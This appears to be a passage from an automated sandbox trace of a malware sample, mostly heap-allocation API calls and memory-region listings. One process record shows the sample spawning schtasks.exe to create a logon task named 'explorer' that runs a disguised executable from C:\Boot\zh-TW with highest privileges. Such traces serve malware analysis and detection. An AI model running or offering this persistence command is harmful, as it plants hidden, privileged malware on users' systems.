[0117.362] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d43a0) returned 1 [0117.362] GetProcessHeap () returned 0x2556b0d0000 [0117.362] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d43a0) returned 0x20 [0117.363] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d43a0) returned 1 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d43f0) returned 1 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d43f0) returned 0x20 [0117.363] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d43f0) returned 1 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4420) returned 1 [0117.363] GetProcessHeap () returned 0x2556b0d0000 [0117.363] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4420) returned 0x20 [0117.364] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4420) returned 1 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3f90) returned 1 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3f90) returned 0x20 [0117.364] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3f90) returned 1 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db9d0) returned 1 [0117.364] GetProcessHeap () returned 0x2556b0d0000 [0117.364] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db9d0) returned 0x20 [0117.365] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db9d0) returned 1 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da840) returned 1 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da840) returned 0xe [0117.365] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da840) returned 1 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db310) returned 1 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db310) returned 0x20 [0117.365] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db310) returned 1 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.365] GetProcessHeap () returned 0x2556b0d0000 [0117.366] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d47b0) returned 1 [0117.366] GetProcessHeap () returned 0x2556b0d0000 [0117.366] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d47b0) returned 0x30 [0117.366] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d47b0) returned 1 [0117.366] GetProcessHeap () returned 0x2556b0d0000 [0117.366] GetProcessHeap () returned 0x2556b0d0000 [0117.366] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db340) returned 1 [0117.366] GetProcessHeap () returned 0x2556b0d0000 [0117.366] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db340) returned 0x20 [0117.366] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db340) returned 1 [0117.366] GetProcessHeap () returned 0x2556b0d0000 [0117.367] GetProcessHeap () returned 0x2556b0d0000 [0117.367] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3c10) returned 1 [0117.367] GetProcessHeap () returned 0x2556b0d0000 [0117.367] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3c10) returned 0x30 [0117.367] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3c10) returned 1 [0117.367] GetProcessHeap () returned 0x2556b0d0000 [0117.367] GetProcessHeap () returned 0x2556b0d0000 [0117.367] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db490) returned 1 [0117.367] GetProcessHeap () returned 0x2556b0d0000 [0117.367] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db490) returned 0x20 [0117.368] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db490) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dab00) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dab00) returned 0xe [0117.368] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dab00) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db280) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db280) returned 0x20 [0117.368] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db280) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da800) returned 1 [0117.368] GetProcessHeap () returned 0x2556b0d0000 [0117.368] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da800) returned 0x16 [0117.368] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da800) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db580) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db580) returned 0x20 [0117.369] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db580) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da8e0) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da8e0) returned 0x16 [0117.369] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da8e0) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db2b0) returned 1 [0117.369] GetProcessHeap () returned 0x2556b0d0000 [0117.369] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db2b0) returned 0x20 [0117.370] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db2b0) returned 1 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0ebc30) returned 1 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0ebc30) returned 0x82 [0117.370] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0ebc30) returned 1 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db2e0) returned 1 [0117.370] GetProcessHeap () returned 0x2556b0d0000 [0117.370] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db2e0) returned 0x20 [0117.371] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db2e0) returned 1 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da7c0) returned 1 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da7c0) returned 0xe [0117.371] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da7c0) returned 1 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db730) returned 1 [0117.371] GetProcessHeap () returned 0x2556b0d0000 [0117.371] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db730) returned 0x20 [0117.378] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db730) returned 1 [0117.378] GetProcessHeap () returned 0x2556b0d0000 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da920) returned 1 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da920) returned 0xa [0117.379] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da920) returned 1 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db640) returned 1 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db640) returned 0x20 [0117.379] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db640) returned 1 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da860) returned 1 [0117.379] GetProcessHeap () returned 0x2556b0d0000 [0117.379] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da860) returned 0xc [0117.380] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da860) returned 1 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db7f0) returned 1 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db7f0) returned 0x20 [0117.380] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db7f0) returned 1 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d43d0) returned 1 [0117.380] GetProcessHeap () returned 0x2556b0d0000 [0117.380] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d43d0) returned 0x18 [0117.381] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d43d0) returned 1 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3fc0) returned 1 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3fc0) returned 0x20 [0117.381] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3fc0) returned 1 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d9070) returned 1 [0117.381] GetProcessHeap () returned 0x2556b0d0000 [0117.381] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d9070) returned 0x20 [0117.382] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d9070) returned 1 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8e00) returned 1 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8e00) returned 0x20 [0117.382] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8e00) returned 1 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d90a0) returned 1 [0117.382] GetProcessHeap () returned 0x2556b0d0000 [0117.382] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d90a0) returned 0x20 [0117.383] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d90a0) returned 1 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d20e0) returned 1 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d20e0) returned 0x18 [0117.383] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d20e0) returned 1 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8f50) returned 1 [0117.383] GetProcessHeap () returned 0x2556b0d0000 [0117.383] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8f50) returned 0x20 [0117.384] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8f50) returned 1 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8fe0) returned 1 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8fe0) returned 0x20 [0117.384] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8fe0) returned 1 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8fb0) returned 1 [0117.384] GetProcessHeap () returned 0x2556b0d0000 [0117.384] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8fb0) returned 0x20 [0117.385] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8fb0) returned 1 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d90d0) returned 1 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d90d0) returned 0x20 [0117.385] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d90d0) returned 1 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8d70) returned 1 [0117.385] GetProcessHeap () returned 0x2556b0d0000 [0117.385] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8d70) returned 0x20 [0117.386] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8d70) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4020) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4020) returned 0x18 [0117.386] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4020) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8e90) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8e90) returned 0x20 [0117.386] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8e90) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.386] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4a10) returned 1 [0117.386] GetProcessHeap () returned 0x2556b0d0000 [0117.387] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4a10) returned 0x18 [0117.387] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4a10) returned 1 [0117.387] exit (_Code=0) Thread: id = 157 os_tid = 0x1300 Process: id = "18" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32f19000" os_pid = "0x12ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2959 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2960 start_va = 0x23d6c00000 end_va = 0x23d6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000023d6c00000" filename = "" Region: id = 2961 start_va = 0x23d6e00000 end_va = 0x23d6e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000023d6e00000" filename = "" Region: id = 2962 start_va = 0x2159bb30000 end_va = 0x2159bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bb30000" filename = "" Region: id = 2963 start_va = 0x2159bb50000 end_va = 0x2159bb64fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bb50000" filename = "" Region: id = 2964 start_va = 0x2159bb70000 end_va = 0x2159bb73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bb70000" filename = "" Region: id = 2965 start_va = 0x2159bb80000 end_va = 0x2159bb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bb80000" filename = "" Region: id = 2966 start_va = 0x2159bb90000 end_va = 0x2159bb91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bb90000" filename = "" Region: id = 2967 start_va = 0x7df5fff30000 end_va = 0x7ff5fff2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fff30000" filename = "" Region: id = 2968 start_va = 0x7ff685090000 end_va = 0x7ff6850b2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff685090000" filename = "" Region: id = 2969 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2970 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2971 start_va = 0x2159bba0000 end_va = 0x2159bd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bba0000" filename = "" Region: id = 2972 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2973 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2974 start_va = 0x2159bb30000 end_va = 0x2159bb3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bb30000" filename = "" Region: id = 2975 start_va = 0x7ff684f90000 end_va = 0x7ff68508ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684f90000" filename = "" Region: id = 2976 start_va = 0x2159bd10000 end_va = 0x2159bdcdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2977 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2978 start_va = 0x23d6e80000 end_va = 0x23d6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000023d6e80000" filename = "" Region: id = 2979 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2980 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2981 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2982 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2983 start_va = 0x2159bdd0000 end_va = 0x2159bf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bdd0000" filename = "" Region: id = 2984 start_va = 0x2159bb40000 end_va = 0x2159bb46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bb40000" filename = "" Region: id = 2985 start_va = 0x2159bf20000 end_va = 0x2159c062fff monitored = 0 entry_point = 0x2159bf48210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2986 start_va = 0x2159bba0000 end_va = 0x2159bba6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bba0000" filename = "" Region: id = 2987 start_va = 0x2159bc10000 end_va = 0x2159bd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bc10000" filename = "" Region: id = 2988 start_va = 0x2159bbb0000 end_va = 0x2159bbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2989 start_va = 0x2159bf20000 end_va = 0x2159c256fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3001 start_va = 0x2159bdd0000 end_va = 0x2159beacfff monitored = 0 entry_point = 0x2159be2e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3002 start_va = 0x2159bf10000 end_va = 0x2159bf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bf10000" filename = "" Region: id = 3003 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3004 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3005 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = 